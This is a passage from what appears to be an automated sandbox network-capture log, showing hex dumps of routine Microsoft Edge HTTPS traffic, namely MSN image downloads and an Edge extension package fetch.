V$5OO#b\|>M"qTeurA<b`W`h`+`2c9D\|L7n$d3^+lz
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: c6 dc e8 d0 e4 58 ac f3 83 a1 ca cf b1 d1 8a 6d 21 fe e6 19 77 5f 94 1f 5d 6b 19 11 54 18 d2 07 1f a5 6c 07 18 d1 a9 93 4a 44 65 10 cc 42 92 01 03 49 b9 d3 9d 60 b1 56 30 62 87 dd bc 51 7b 8a ea ef d8 cf 3d 86 91 b5 01 46 ed db 49 3f 6f 10 60 50 36 31 2d 69 22 f7 92 7e f1 40 d4 ee b9 5b 91 b5 4b 26 7b f7 f0 56 38 73 29 27 71 7f 52 4c 7f 4a 11 c6 c0 c9 f2 1a 58 e9 5c be ad 97 e6 27 0b 81 16 7f 82 cb 1b 0c 6e 05 6f e5 11 7f 3f ca 95 d9 b1 77 0b 5f 4d 47 c0 7e b6 a1 b8 e5 d9 a1 4b 67 93 ab 92 ab 7c e4 61 61 55 98 89 20 e8 67 4a f3 b7 0a db c3 74 90 35 b4 7c 6a c5 e0 46 aa 9a cf ea 32 fa 97 22 e9 ac a3 c7 ce 5a 36 af af 0f f5 a2 fb 9b 74 44 32 23 79 04 7d 01 8a 69 fd 58 e8 01 aa c5 bf 41 2a 9f 23 71 81 36 c9 b7 42 75 d6 37 44 f0 e1 4c e5 54 22 d3 f2 8d 7d 2e Data Ascii: Xm!w_]kTlJDeBI`V0bQ{=FI?o`P61-i"~@[K&{V8s)'qRLJX\'no?w_MG~Kg\|aaU gJt5\|jF2"Z6tD2#y}iXA*#q6Bu7DLT"}.
2024-11-11 20:59:24 UTC	7952	IN	Data Raw: 1a be 53 33 ac 78 28 66 cb ef 38 44 0b 22 43 38 86 58 1f db 6e a3 16 be a6 97 4c a0 b4 13 ec 82 02 9d ab 68 1e 15 9a 31 6b ea 93 74 eb 4c 78 77 e7 dc d0 d5 66 93 7b 1b 39 6b f4 00 bb 99 c8 4e f8 28 44 3b f2 64 72 22 5c db 6f 0d a0 68 3c 2d 1c ab 19 65 f3 e2 0b d6 16 22 d1 31 7f 31 e2 69 3b 2d b9 3c 25 15 b2 e6 fc 8c a4 a3 09 49 fd 3f 95 9a af 53 cb 26 ac 59 40 e2 ed 9d 71 e2 76 23 6a 6b d2 00 31 a0 e3 7f a9 e3 51 33 b6 47 72 5f 59 d3 82 f8 01 c2 ae b7 76 ad fb 05 8c d4 95 dd a0 ff 00 4c 9f 3b 6f c1 89 cd c9 db 19 ee 7b 5f f1 d5 08 70 db 80 24 7f 6c f0 27 43 6b da a5 99 9a e8 cb 50 44 6a 94 34 a5 93 36 ab 3a 4c 5d d8 4e dc a9 c8 ac 49 58 94 dd 0a 0b 12 a6 63 53 7e 33 c6 95 1b 19 31 63 29 a8 d5 57 a9 8f 85 c4 f2 9f 85 64 94 5b ba 8b f8 d7 ba 7e 84 b9 dc 9f Data Ascii: S3x(f8D"C8XnLh1ktLxwf{9kN(D;dr"\oh<-e"11i;-<%I?S&Y@qv#jk1Q3Gr_YvL;o{_p$l'CkPDj46:L]NIXcS~31c)Wd[~
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: fa 81 a4 74 fe ee 0f 71 53 03 14 c6 d8 c8 3b 6c db 94 92 09 26 0e e6 d3 85 73 61 bb 74 ca a0 ae 46 00 c3 03 1f 48 37 af 3d a9 7e e9 2b 69 e2 f3 87 fc 1b f4 f7 1c 5e 62 9e cd 5f e6 6a 96 86 fe 9e 2b e6 65 28 e4 ee 16 54 14 38 c4 db a6 6d ad da 49 3c 09 3a d3 e3 32 12 83 68 18 d5 80 db 00 5d bc 22 4f 8d c7 ad 01 76 f0 dd ea f1 66 58 c2 59 6d dc 9a e6 f6 41 70 25 9c de 56 5c a0 86 31 37 90 4b 02 c3 43 16 23 ef 6a ad de 0e db 1a b2 a2 db 76 ad c4 af 01 03 8e 82 2d 1c 6b d2 8d c5 a6 b6 db 8c 74 01 da d5 27 97 b1 dc f2 36 0e 53 26 25 58 50 d2 c3 52 34 f2 35 e0 82 dc bd 2b d3 8c 9b ce c7 56 04 14 68 e3 6c ea 85 14 48 07 79 d0 4c da 4e 92 78 56 71 fc ff 00 86 e4 7f da 07 96 b1 42 d4 bb 6d db e7 8d ce 92 c7 d4 97 b0 c2 65 0e 76 e8 72 2b 60 db 2d 3b 92 f1 04 6a 3c Data Ascii: tqS;l&satFH7=~+i^b_j+e(T8mI<:2h]"OvfXYmAp%V\17KC#jv-kt'6S&%XPR45+VhlHyLNxVqBmevr+`-;j<
2024-11-11 20:59:24 UTC	6628	IN	Data Raw: 12 d2 0f 23 5c df ed 9d c6 7c fd ca 7b b2 57 db ca 36 b3 8b 10 aa 0b 40 bd c5 ae 3d 28 55 49 96 5c 7c 0d 5b 82 86 19 cf 77 b9 72 9c 86 41 50 49 7d a0 9d 92 78 c5 cc 11 57 bf 75 ed b2 6f 5b 08 2d b7 a6 22 5a 36 a4 fa 68 79 51 05 89 1b b1 e4 b7 39 52 08 20 34 6e 59 0d 7b 19 e1 cb 4a eb fb 0f db bb 83 bb dc 8c 71 b8 aa 95 5e a0 d6 2c a5 81 98 8e 1f 6d 50 6d 99 f8 08 95 9c 94 39 da 2f 17 23 5e 93 cf 95 77 3d c6 10 72 1c 49 8d d1 31 0b 2a 86 66 76 37 be d8 13 bb 6c dd 87 95 16 c4 be b5 90 61 1c 3e af 00 7b 54 c3 db f6 ed d4 ab 99 f6 06 07 6b 6d 59 1d 44 1f 94 cd c0 e7 45 c3 80 f7 29 8f 17 b6 a5 f7 b3 3a 91 04 ec 6d 64 f2 22 fb a2 66 2a f2 fc 64 66 eb f2 1a b0 3b e0 7b ba 67 6e c3 3c a9 ba 00 05 88 86 33 32 46 f9 02 e2 6c 2b df dc 91 97 b4 18 82 e5 f7 72 1d 4c Data Ascii: #\\|{W6@=(UI\\|[wrAPI}xWuo[-"Z6hyQ9R 4nY{Jq^,mPm9/#^w=rI1fv7la>{TkmYDE):md"fdf;{gn<32Fl+rL
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: 24 52 df 90 dd 8e 0e e3 18 ce f9 22 72 3b 90 67 84 eb 3a 82 79 11 7a 87 3d e7 69 9b 1a e2 dd 9f 0b b1 dc cc 6e 26 4f 51 17 42 39 dc 31 a7 9c e2 f1 ec 2b 50 95 b7 86 2b 5f e0 76 8b 1d f7 7a dd be 09 54 6d c2 4c b6 39 1b 79 b7 28 f2 b8 a7 73 2a 77 38 03 a3 33 a8 02 40 68 27 6d f6 b0 b4 37 0a 78 ac ff 00 53 3a 6e 2e 9f c4 0b 1f f4 10 ec 71 e6 f6 94 33 2e c0 a3 68 33 bc 7f d8 ce c0 38 44 58 52 bd 9f 78 d1 b3 db f6 bd b4 04 e3 95 06 f3 7b 91 c3 50 40 92 27 5a d0 f2 f8 1f 4f 9b bd c1 a5 cd 84 db d0 71 d1 1b 25 95 15 c2 99 01 e1 af c7 a0 8b 44 46 95 9e e5 7d cc aa ca 4a 30 4f 99 60 a9 06 c4 09 b8 31 e1 53 83 af 9e 80 a3 1d 4c 68 f3 47 04 af ed e4 6d d8 c8 55 71 bf 14 f5 7f b4 06 20 93 17 b5 3b ec b1 ee f6 e3 30 61 2e 75 04 0d 41 13 f1 ad 5c af 62 5f d3 6c 67 c1 Data Ascii: $R"r;g:yz=in&OQB91+P+_vzTmL9y(s*w83@h'm7xS:n.q3.h38DXRx{P@'ZOq%DF}J0O`1SLhGmUq ;0a.uA\b_lg
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: 44 c2 9b c1 d6 40 9f 0a d7 72 81 8a a8 02 4b 9d c0 5c 58 82 6f cc 03 a5 0a ae c6 6e 93 f4 01 32 4d e0 24 a6 e0 f6 01 60 2a 4d da 6f 1d 3a 00 4f 3a 58 e3 04 ab 62 3b 08 26 cc db 9e 0f 12 34 88 e1 5e 6f d4 95 72 df 2f a5 06 4f 94 f3 7b d5 23 39 c9 37 5d 4e 84 1c 5b 2f 23 61 ba 21 1a 83 60 04 ee 3e 26 f5 1b 0a 29 74 4e b0 77 09 6b 43 31 61 a7 21 13 59 7b 69 b9 df cd fe 28 d9 1b bc d5 6c bf 93 4f 6e 84 85 5d 7e 19 77 b2 c0 d9 0e 42 59 94 81 23 69 81 2c 67 e1 54 91 f0 e0 de 31 b0 3b 9e cb c4 68 22 fc 35 ad 62 9b 5b aa 3b 9a b2 1f ee 2b bc e3 13 b7 71 22 4f 09 0a 49 9e 57 a5 3b c0 ca 08 06 47 0e 7c be a2 07 95 4e 13 f8 8c 84 ee fe d3 bb bf b5 9c eb 90 9b 82 e8 4c 49 5e 03 91 e1 3c 62 80 c1 88 98 20 7e be 95 63 78 1d 57 b9 e7 46 5a 5f a8 32 a6 34 07 36 e3 bb e4 Data Ascii: D@rK\Xon2M$`*Mo:O:Xb;&4^or/O{#97]N[/#a!`>&)tNwkC1a!Y{i(lOn]~wBY#i,gT1;h"5b[;+q"OIW;G\|NLI^<b ~cxWFZ_246

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	58783	23.57.90.101	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:23 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:24 UTC	520	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCF Last-Modified: Tue, 29 Oct 2024 14:49:16 GMT X-Source-Length: 131943 X-Datacenter: eastus X-ActivityId: 65425a27-7925-4536-9a99-1695cd2ef753 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 131943 Cache-Control: public, max-age=64186 Expires: Tue, 12 Nov 2024 14:49:10 GMT Date: Mon, 11 Nov 2024 20:59:24 GMT Connection: close
2024-11-11 20:59:24 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: 84 d6 19 f7 08 b6 94 84 aa 46 20 64 30 e5 46 36 34 64 de ba 85 d0 a7 2d 99 fb 43 05 4b 1a 40 12 09 3c 39 b3 60 93 3a 68 29 24 52 36 d1 f6 84 a6 14 b3 96 ed bc f3 e0 eb 08 59 64 21 65 46 3e d8 01 3f 6d ae 0a b4 ad 70 b5 53 2a 90 00 65 2a fa 13 2a 06 a4 88 92 79 d6 93 c2 61 84 ab c6 ec f6 06 55 f7 ee 73 9e 83 18 8b 12 25 3a 0e f0 72 0d b6 ed 23 d4 52 b5 a4 8c 09 92 29 89 c8 4f 16 35 b4 95 a5 6a 4c a4 03 f8 7c d9 45 2a 28 81 95 49 25 52 67 90 19 73 69 be 3c 01 12 37 91 71 51 38 d0 7d 21 46 0d 49 12 63 73 68 20 69 03 d3 b6 01 20 9c c1 19 ec f2 da c3 4a 54 81 21 32 aa c2 cd 04 71 8c b9 93 c1 c0 a4 76 41 52 77 d4 66 77 63 e6 e6 91 76 14 bb 8a 82 45 c4 ec 99 3c 68 32 ae 4c 74 eb b9 a4 2a 15 8c d6 46 d9 e0 d3 66 cd a5 29 52 a2 52 64 18 1a 44 73 33 9c 3d a4 80 53 Data Ascii: F d0F64d-CK@<9`:h)$R6Yd!eF>?mpSeyaUs%:r#R)O5jL\|E(I%Rgsi<7qQ8}!FIcsh i JT!2qvARwfwcvE<h2Lt*Ff)RRdDs3=S
2024-11-11 20:59:24 UTC	1967	IN	Data Raw: e1 fc cb d6 58 00 6b a8 df 3e 7f 26 72 7f 51 bc 14 b5 03 55 c6 a9 13 1a 44 53 e4 e9 77 3a a0 d2 7b f8 70 1d a0 0e d1 2f 02 c7 ea 29 f4 d3 ea fd 46 6a 39 c0 90 f6 7a 75 6a b4 93 43 cb 27 a2 92 7b 0a a9 04 ba 87 41 69 2b 28 9e d0 00 91 b8 cf d9 b1 b1 10 87 6e 4f 9a 02 2f 9c e1 dc 34 51 08 7c e6 f9 a0 21 0f a1 b2 1f 43 43 20 e2 b5 04 24 a8 cd 36 54 9e 4d cf 2b ae 55 c4 59 ff 00 19 09 24 c1 51 c0 31 2b 92 41 67 99 ea 7a be 94 dc 50 28 5d d3 cd 54 dc 04 80 1e 5a ee f5 b7 4c 8b 82 ca 70 48 a4 0e 03 bc b5 9f 56 e9 29 b2 90 94 83 f5 1f bf da 4b 8f e4 55 9d cb de fc 48 7d 72 9c 62 6b 18 75 69 7d 58 cf 53 ac 23 41 ea 69 b4 67 e7 00 f8 b2 ed 7e 6a d9 d4 8e a4 93 b0 93 07 cc a8 30 07 4d d1 83 07 a8 ff 00 52 7e cc e4 f4 5d 39 fa 7a 88 e2 83 f3 0e 3e 62 f7 46 ea 0b af Data Ascii: Xk>&rQUDSw:{p/)Fj9zujC'{Ai+(nO/4Q\|!CC $6TM+UY$Q1+AgzP(]TZLpHV)KUH}rbkui}XS#Aig~j0MR~]9z>bF
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: 3a ed 99 c0 ec d9 30 f0 d2 9f 37 e4 01 f7 6f ad 33 a2 e2 4f ed 05 3b 06 da 49 c5 f9 db b7 55 1a 54 6a a8 26 3e 12 79 7c d9 eb b6 17 01 37 50 23 15 83 3e 61 d2 ad 5d 44 9b 96 f5 85 7c 69 32 39 c2 66 bb de d1 d3 1e 97 e8 c8 69 9e 7b 0c 4e e8 0d c9 b7 89 a7 be cc 78 33 f4 80 63 54 11 81 83 1e 7f 36 eb 76 6e d7 4a 24 2b e3 51 20 7f 0e 7e 0f a3 51 9d 19 4b 54 01 45 2b 60 a8 4c 6d 8c cb 60 4a 7e 28 9c 53 94 6e c5 ee dc b0 a1 1a 8a 13 ab 7e ad 98 81 df 56 09 42 50 47 f9 ce 98 83 d9 26 b3 84 d7 c1 ca 92 65 69 7d 0a 16 82 23 b3 04 d7 51 23 b8 e5 39 66 c7 32 12 4c a4 73 51 cf 61 a9 2e 93 79 12 90 6b 2a 33 33 99 dd 40 7e 6e ee 20 18 82 73 56 7f 6d fc 72 6c 42 35 29 52 01 39 52 29 58 ae f8 64 f4 ca 36 ee 42 89 92 37 8f 1d 83 7c bc e2 7d 38 cc 1d b9 4f 9b db e9 ee 64 Data Ascii: :07o3O;IUTj&>y\|7P#>a]D\|i29fi{Nx3cT6vnJ$+Q ~QKTE+`Lm`J~(Sn~VBPG&ei}#Q#9f2LsQa.yk*33@~n sVmrlB5)R9R)Xd6B7\|}8Od
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: 14 07 f7 52 76 0a 12 7c df a3 e8 2f 21 20 85 aa da 7b 55 49 30 40 23 34 d0 c4 41 ac bf 0e 01 d3 53 3b a6 83 07 a3 67 a7 50 04 cc ea c4 c4 0e 06 6a f3 9c a9 02 3d 77 5e b0 ab 5d 2e 82 16 74 99 12 09 c9 39 bf 3a 24 1a 98 3b 23 2f 1c f7 32 54 ab 76 e8 a5 00 7b f8 06 04 dd 27 b2 9b 6a 1f cd 52 39 cb e7 f9 8e b6 4b df 89 a6 95 e2 1e 14 41 05 06 53 8e a3 2a 23 65 3e cc b2 a4 03 5a 03 84 cf 7b f3 b7 12 11 1a 53 07 3f aa 9c a3 bd 87 db 24 82 48 31 13 bd e4 d3 9a bd 54 55 d7 23 d2 2d 08 35 48 41 1c 52 47 38 a3 97 f9 12 04 29 48 fe d3 db 1c 0d 7b 9e 11 ba a4 24 e9 4c 98 cd ad 17 16 10 34 92 15 15 26 b9 d6 03 20 a7 1d dd ad b2 2c 1b c4 dc a4 c7 30 40 ff 00 4d 19 c6 14 91 20 a3 94 cf 98 1e 52 c2 49 0b 01 41 4b 82 27 31 f3 87 28 19 8d 47 f8 c4 f8 2d f5 61 93 b1 b0 17 Data Ascii: Rv\|/! {UI0@#4AS;gPj=w^].t9:$;#/2Tv{'jR9KAS*#e>Z{S?$H1TU#-5HARG8)H{$L4& ,0@M RIAK'1(G-a
2024-11-11 20:59:24 UTC	7952	IN	Data Raw: 8c 9c ea 95 46 dd b8 34 c6 22 a9 39 b1 e4 fc d9 f0 93 49 ab 4a ad 71 e7 1d ee 6d 14 0c 0a 71 c5 99 6c 15 52 32 c2 3c 5c 74 a7 f6 99 dc 59 f6 af a5 39 ca 4f 8b ca 6d d6 11 4b 88 d4 1d 03 2f e1 39 73 13 8f 26 f5 91 70 04 a8 10 45 52 6b 07 6e 5e 0d 42 e2 29 da 0a 13 94 7e 0f b4 a0 a8 fa 6b 8f ed 54 d7 70 9a 1f 78 7c 7c f9 ae 27 4a 78 a0 12 a5 db 5a 4a a1 43 03 8d 69 51 8f 17 a9 d1 ae fe a2 92 46 e3 8a a7 61 70 8b 6b 4c 41 41 34 38 0a 7c 3b b6 e4 dc b4 fa 5a 4e 93 a2 45 49 93 4a 50 cb bd 5c 15 8f 4f 5d 86 c2 d0 48 55 76 7b 86 40 13 8e 9e 25 d2 2f 25 5a 6d c8 13 f4 56 87 97 3d 92 e5 2a 06 a8 03 ff 00 51 23 bd e8 a5 ab 83 39 dc 5a 78 c8 40 49 83 0b 23 7e 7c 2a f8 22 95 51 57 30 3d c3 b4 28 1a 65 8f d6 83 3f ea 0e 5a ce 7a 6d e9 db a8 13 fe d4 3c 5d 94 84 94 61 Data Ascii: F4"9IJqmqlR2<\tY9OmK/9s&pERkn^B)~kTpx\|\|'JxZJCiQFapkLAA48\|;ZNEIJP\O]HUv{@%/%ZmV=Q#9Zx@I#~\|"QW0=(e?Zzm<]a
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: d5 cd 61 35 1a 88 92 90 2b bf 2a 39 cb 5b ba 1d f0 0e eb ae 5b 28 d4 0a 89 06 00 d2 00 f0 98 f2 79 29 be 85 24 a4 85 02 33 8c b6 98 a1 c3 37 7d 55 d2 94 47 ee 38 ec db 57 88 56 b2 20 82 a8 20 1e 5c 0b a4 9d 09 9e 81 37 6c d9 fa 46 a5 18 00 ea 27 85 00 6d 55 c3 73 13 ca 68 07 0d 9b de 28 d1 9d 6b 58 93 00 ee 34 74 9b a9 ce 23 31 cc cb 56 fa 36 20 cb 97 14 92 21 47 bd aa dd d5 15 09 3b 7c 7c db cf a7 42 a4 a8 d3 68 ae df 63 bf cc a2 dd 12 80 37 40 1e 79 97 b6 a8 d6 d6 2a e2 44 ad 49 4a 64 1a c9 33 b8 e0 e5 6e ee 90 4e dd a7 2e 4d 17 2e ea 01 54 93 41 8f 96 c6 ad 29 d2 0e a0 27 c2 1b 4e 2d 67 02 63 2e df 59 a6 a8 1b bb 8b d1 e9 08 16 cc c6 67 1f b0 9f 17 87 ea 00 0d 72 1b 1a 2d de 83 a6 84 01 b3 66 34 dc c7 95 49 07 3b 36 6e 75 0a 04 46 fc 4c 89 c3 c9 90 8b Data Ascii: a5+9[[(y)$37}UG8WV \7lF'mUsh(kX4t#1V6 !G;\|\|Bhc7@yDIJd3nN.M.TA)'N-gc.Ygr-f4I;6nuFL
2024-11-11 20:59:24 UTC	6985	IN	Data Raw: 71 52 4c 48 49 29 c1 d2 94 55 41 90 48 8f c1 e7 b9 42 4a 84 e2 07 9b b6 81 38 89 c7 9b 66 15 0e 80 78 e7 3b b2 6c c2 47 93 52 54 98 c9 c8 94 8a 81 43 8b cc 09 0d be 02 9e 45 ae 46 d8 8c 47 cd ac 95 53 38 3c 5c 44 9c 6a dd 0c 74 8e 6e 68 ce 30 63 12 46 79 ee 75 aa 4b 28 03 0a 13 32 33 d8 e3 0a 06 94 db 3d ce 27 30 73 f7 e4 fb 54 97 34 05 98 19 2a ae 60 1c 61 a8 03 95 3c 9d c2 85 63 26 c6 71 80 7e 6e 52 d7 ae 43 8c b7 42 0e 42 a0 e6 de a0 15 cc 7b e4 c0 06 5b c2 88 34 97 35 90 23 e9 94 55 ac a7 63 2b 23 4f 7d cd 6b e5 9f bc 36 98 10 49 36 d4 14 92 64 78 37 7a ab 22 0a 89 00 ea 01 89 57 34 98 ee 74 d0 59 ea 6d df 55 d4 05 64 64 cc 08 a0 c0 61 bf 6b 70 57 4e 91 f4 9c aa 75 56 77 f6 bc 1e 05 b5 a9 16 a9 31 ac 19 c1 92 56 9b 97 92 8f 85 58 e5 5f b3 cd 60 b2 2b Data Ascii: qRLHI)UAHBJ8fx;lGRTCEFGS8<\Djtnh0cFyuK(23='0sT4*`a<c&q~nRCBB{[45#Uc+#O}k6I6dx7z"W4tYmUddakpWNuVw1VX_`+
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: 92 92 0a d6 64 67 02 84 f8 10 fa 62 ef 7b 64 36 c5 7a d1 94 99 cb 21 e0 23 c1 af d6 51 11 8f 12 7c 89 87 05 14 20 4a 50 98 35 f8 8c 8f 37 0f 52 ea 87 61 24 1f ed 49 fb 3d f4 ae 9e a6 67 6a 5e c0 47 9f c9 bf 4d d5 66 20 6f 1a 67 cc 4d 58 e3 f3 b1 09 4d cf 23 e1 2e c5 9e b3 ea d0 ae 24 57 84 b7 f0 f5 82 f3 1a be 21 c3 5d 9e d2 74 d3 14 e7 c9 d9 ea ef ed 57 75 1e 5f e4 fa b2 67 d3 5f 98 fb b6 8e 83 ab 3f f0 d5 1c c7 dd c3 5d bd dc a0 fd 0b b9 3e a1 07 ac bf 19 ab cc fc a1 cb f3 5d 41 13 26 39 9f 99 87 43 f4 fe aa 69 68 9e 6a 48 f3 ab 90 fd 2b ab 38 01 cd 79 79 4b 97 2e c2 fe 5d bf a0 96 ae 22 4d cb 8b f8 e0 f7 b0 cd d5 6a d2 49 83 8c bd e1 fa 3d d3 55 2d 09 e5 27 e4 1d 9f d3 ec a6 8b ea 01 fe 54 fb 4b 95 de ec ad 9a 7e 09 bf b2 2f 4b 30 b5 24 c7 6a a3 6e 54 Data Ascii: dgb{d6z!#Q\| JP57Ra$I=gj^GMf ogMXM#.$W!]tWu_g_?]>]A&9CihjH+8yyK.]"MjI=U-'TK~/K0$jnT
2024-11-11 20:59:24 UTC	16384	IN	Data Raw: 37 5f ff 00 21 50 22 2e 24 52 37 66 0c bc ab 6b d2 76 1d af ad 7c 51 e2 07 b7 45 ed 49 49 b8 82 0e 44 e2 1a 6e 74 f6 ee d2 77 50 e9 03 61 50 8c 1a ba 5b fe b8 aa 04 80 75 4e 44 77 ee c5 e9 1d 01 51 00 67 94 e5 f6 0f cf 6f 4b e6 99 db 6a 4b 27 9a b9 d3 5e 4d b1 4d 44 42 46 9e 79 f9 53 c9 82 ad 68 51 0b fa 93 98 99 7e da 63 e1 94 93 04 8c cf 2c 37 d7 10 c4 5f 48 9b 8b 84 19 d2 3e 98 01 49 9c 01 23 b6 37 1a ec 7b 2e f5 7e 6a f1 30 70 e8 78 b3 93 48 24 1e 18 bd 8b dd 1d cb 73 4d 42 24 6d 8e 5d f1 93 c7 cc be e8 b5 25 8c 98 ec 35 32 1e 8a 14 02 64 e2 f3 40 a0 7a 7e 92 8f 4e a5 e6 12 ad 39 81 14 99 e2 d4 ab 9f 37 40 71 5a 62 00 04 d3 34 d4 8f 7d 8e 60 22 33 d2 60 57 38 9c 23 e6 f3 84 ed fb b6 6a 98 93 40 d6 91 07 ca 47 ee e7 10 38 3a f5 96 93 29 30 4e 67 1f b0 Data Ascii: 7_!P".$R7fkv\|QEIIDntwPaP[uNDwQgoKjK'^MMDBFyShQ~c,7_H>I#7{.~j0pxH$sMB$m]%52d@z~N97@qZb4}`"3`W8#j@G8:)0Ng

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	58785	23.44.133.31	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:23 UTC	614	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1731963557&P2=404&P3=2&P4=m8ufwGQkhhQHuXV0bnjuoiBUoQHkqtN%2bUhVc4h945N1rHNpD1moKc8jcR8hNi6raQbd67zT7oyrB2ivx5rcfZQ%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: vqK2ITipwAcN18P5B4FYYe Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:24 UTC	1249	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: 38308f70-9a3a-402c-9414-ac3798f1e32b MS-RequestId: 2cb69335-a426-431f-94e6-03fdb5607186 MS-CV: 2YGIUgBvLycA10zkI/7qX4.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86363 Date: Mon, 11 Nov 2024 20:59:24 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.44.134.22,b=44296057,c=g,n=US_NJ_PISCATAWAY,o=20940],[c=c,n=US_NY_NEWYORK,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.16862c17.1731358764.2a3e779 Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-11 20:59:24 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	58789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
